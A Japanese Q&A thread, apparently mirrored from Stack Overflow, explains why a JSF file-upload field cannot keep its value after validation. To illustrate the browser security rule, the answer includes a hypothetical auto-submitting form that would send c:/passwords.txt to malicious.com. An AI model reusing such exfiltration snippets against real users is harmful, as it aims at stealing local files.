4

次のコードの検証後に、アップロード ファイル パスの値が失われていることがわかりました。検証が失敗した後も値を保持できる方法はありますか? ありがとうございました。

<t:inputFileUpload id="uploadFile" value="#{backBean.uploadFile}" storage="file" required="false" />
4

1 に答える 1

4

それは可能ではありません。これは HTML によるセキュリティ上の制限です。<input type="file">HTMLフィールドの値を事前入力/保持することはできません。JSF は HTML を生成するだけなので、JSF はそれについて多くを行うことはできません。

このセキュリティ制限が存在しないと想像してみてください。Web サイトは次のことを実行できます。

<form id="tryToGetPasswords" action="http://malicious.com" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/passwords.txt" />
</form>
<script>document.getElementById('tryToGetPasswords').submit();</script>

見える?

于 2011-02-11T18:04:39.050 に答える